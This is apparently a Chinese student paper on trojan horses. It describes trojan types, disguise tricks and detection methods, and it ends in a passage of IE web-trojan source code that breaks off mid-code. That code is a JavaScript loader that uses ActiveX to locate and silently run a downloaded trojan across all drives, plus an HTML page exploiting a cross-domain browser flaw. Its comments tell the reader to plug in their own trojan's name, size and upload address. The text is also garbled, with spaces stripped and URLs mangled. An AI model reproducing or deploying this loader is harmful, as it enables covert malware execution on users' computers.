题目:木马作者:芦存博20075401178宋婷20075401166徐丽亚20075401186王笑瑜20075401045摘要:木马是特洛伊木马的简称,是一种在远程计算机之间建立起连接,使远程计算机能通过网络控制本地计算机上的程序。它冒名顶替,以人们所知晓的合法而正常的程序(如计算机游戏,压缩工具乃至防治计算机病毒软件等)面目出现,来达到欺骗欲获得该合法程序的用户将之在计算机上运行,产生用户所料不及的破坏后果之目的。通俗地讲,木马就是一种“挂羊头,卖狗肉”的实施破坏作用的计算机程序。关键词:类型;伪装方式;查杀方法;源代码;工作原理;反查杀技术0引言从本质上讲,木马程序属于远程管理工具的范畴,如PCAnyWhere等,其目的在于通过网络进行远程管理控制。木马和远程控制软件的区别在于木马具有隐蔽性,远程控制软件的服务器端在目标计算机上运行时,目标计算机会出现很醒目的标志,而木马类软件的服务器端在运行时则使用多种手段来隐藏自己。1,木马的类型(1)破坏型这种木马是很令人讨厌的,这个病毒可以自动的删除电脑上的重要文件,例如dLL、INI、EXE文件。(2)密码发送型主要是用来盗窃用户隐私信息的,他可以把隐藏的密码找出来发送到指定的信箱。也可以用来盗窃用户的敏感口令等。同时,此类病毒最重要的是会记录操作者的键盘,找到相关的有用的信息。(3)远程访问型使用最多既木马。入侵者运行了客户端,使用木马者就可以通过远程连接到对方电脑,访问对方电脑资源。(4)键盘记录木马这种键盘木马一般都制作的很短小精悍,主要用来记录中木马者的键盘敲击记录,并且根据网络访问情况,给木马使用者发送到指定的信箱等。(5)DOS攻击型DOS的全称是洪水式服务攻击。是用来请求服务器请求,让服务器忙与处理应答,而占用了大量的资源,最后服务器资源耗尽而死机。使用多台电脑DOS攻击取得的效果更好,可以用他来慢慢攻击更多的电脑。(6)代理木马可以把自己的电脑从其他地方代理,然后重新访问网络服务器,起一个中转的作用。(7)FTP木马FTP木马容量也很小,一般情况下是用来打开21端口来等待用户连接。(8)程序杀手木马主要是用来关闭一些监控软件等,这样就可以让木马更安全的保留在系统中,防止被监控软件发现,从而对用户造成数据丢失,敏感信息泄露等故障。(9)反弹端口型木马反弹端口是为了躲避防火墙的过滤而制作的。因为防火墙会对连入的链接做一个很严格的过滤,对于连出的链接可能就不是那么严格了,所以利用这一点,把端口反弹,就可以更安全的使用了。2,木马的伪装方式(1)修改图标对木马程序的图标进行修改,从而伪装成其他类型文件,以达到欺骗用户的目的。现在有的木马已经可以将木马服务器端程序的图标改成HTML,TXT,ZIP等各种文件的图标,具有相当大的迷惑性。(2)出错显示如果打开一个文件后没有任何反应,这很可能就是个木马程序,木马的设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务器端用户打开木马程序时,会弹出一个错误提示框(当然是假的),错误内容可自由定义,大多会定制成一些诸如“文件已破坏,无法打开!”之类的信息,当服务器端用户信以为真时,木马却悄悄侵入了系统。(3)定制端口很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的端口就知道感染了什麽木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可以1024…65535之间任选一个端口作为木马端口,这样就给判断所感染的木马类型带来了麻烦(4)自我销毁当服务器端用户打开含有木马的文件后,木马会将自己复制到windows的系统文件夹中。一般来说源木马文件和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马的系统只要在近来收到的心间和下载的软件中找到源木马文件,然后根据源木马的大小去系统文件夹中找到相同大小的文件,判断一个哪个是木马就行了。木马的自我销毁功能弥补了木马的这一缺陷。当安装完木马后,源木马文件将自动销毁,这样服务器端用户就很难找到木马的来源,在没有查杀木马的工具帮助下,就很难删除木马了。(5)木马更名安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,在系统文件夹中查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控制端用户自由定制安装后的木马文件名,这样就很难判断所感染的木马类型了。(6)捆绑文件将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的情况下,偷偷地进入系统。也可以将木马和一张图片捆绑,当用户打开“图片”时,木马就在后台不知不觉地运行了。3,木马的查杀方法木马的清除方法,可以总结为监视端口,监视文件,监视进程,监视进程模块和监视注册表,一旦发现木马,然后采取相应的清除措施。木马的本质是程序,必须运行起来后才能工作,所以必定会在系统中留下一些蛛丝马迹。下面针对一些常用木马所惯用的伎俩来找出躲在系统中的木马。检查是否存在陌生进程,检查注册表,检查开放的端口,使用冰刃进行检查,监控注册表的变化。通过以上方法,基本能确定系统中是否存在木马。手工清除木马的步骤是:找到木马文件,结束木马进程,删除木马文件进行善后处理当然,木马查找和清除的最好办法还是借助于专门的软件实现。专业的木马清除工具有TrojanHunter和AVGAnti-Spyware(Ewido)等4,木马的源代码及工作原理functionicyfoxlovelace(){//得到WINDOWS系统目录和系统盘url=document.location.href;xtmu=url.substring(6,url.indexOf('\\',9)+1);xtp=url.substr(6,3);varshell=newActiveXObject("shell.application");varrunbz=1;//此处设置木马程序的大小,以字节为单位//请把198201改为你的木马程序的实际大小varexeSize=198201;//设置木马程序名及扩展名(exe,com,bat,pif,scr),用于判断是否是所下载的木马程序//请把下面两行中的icyfox改为你的木马程序名,bat改为你的木马程序的扩展名vara=/icyfox\[\d*\]\.bat/gi;a.compile("icyfox\\[\\d*\\]\\.bat","gi");varb=/[A-Za-z]:\\/gi;b.compile("[A-Za-z]:\\\\","gi");//正则表达式,用于判断是否是盘的根目录//下面的代码查找并运行木马程序wjj(xtmu+"TemporaryInternetFiles\\");//Content.IE5\\if(runbz)wjj(xtp+"DocumentsandSettings\\");if(runbz)yp();//在所有硬盘分区下查找并运行木马程序functionyp(){try{varc=newEnumerator(shell.namespace("c:\\").ParentFolder.Items());for(;!c.atEnd();c.moveNext()){if(runbz){if(b.test(c.item().path))wjj(c.item().path);}elsebreak;}}catch(e){}}//利用递归在指定目录(包括子目录)下查找并运行木马程序functionwjj(b){try{varc=newEnumerator(shell.namespace(b).Items());for(;!c.atEnd();c.moveNext()){if(runbz&&c.item().Size==exeSize&&a.test(c.item().path)){varf=c.item().path;varv=f.lastIndexOf('\\')+1;try{shell.namespace(f.substring(0,v)).items().item(f.substr(v)).invokeverb();//运行木马程序runbz=0;break;}catch(e){}}if(!c.item().Size)wjj(c.item().path+"\\");//如果是子目录则递归调用}}catch(e){}}}icyfoxlovelace();请把以上代码保存为icyfox.js。接下来我们就要利用一个小小跨域执行漏洞,来获得"我的电脑"域的网页权限,大家以前是不是和我一样觉得这种漏洞仅仅只能用来进行跨站脚本攻击,得到COOKIE之类的东东呢?这次它终于可以露脸啦!代码如下:<HTML><HEAD><METAhttp-equiv=Content-Typecontent="text/html;charset=gb2312"><TITLE>冰狐浪子网络技术实验室的完美IE网页木马</TITLE></HEAD><BODYoncontextmenu="returnfalse"onselectstart="returnfalse"scroll="no"topmargin="0"leftmargin="0"><SCRIPTLANGUAGE="icyfoxlovelace"src="http://="JavaScript">//此处设置上面icyfox.js文件的网络地址//请把http://改为你的icyfox.js文件实际上传地址jsurl="http://=navigator.appVersion;if(WIE.indexOf("MSIE5.0")>-1){/*IE5.0利用iframe标签,src属性设为ic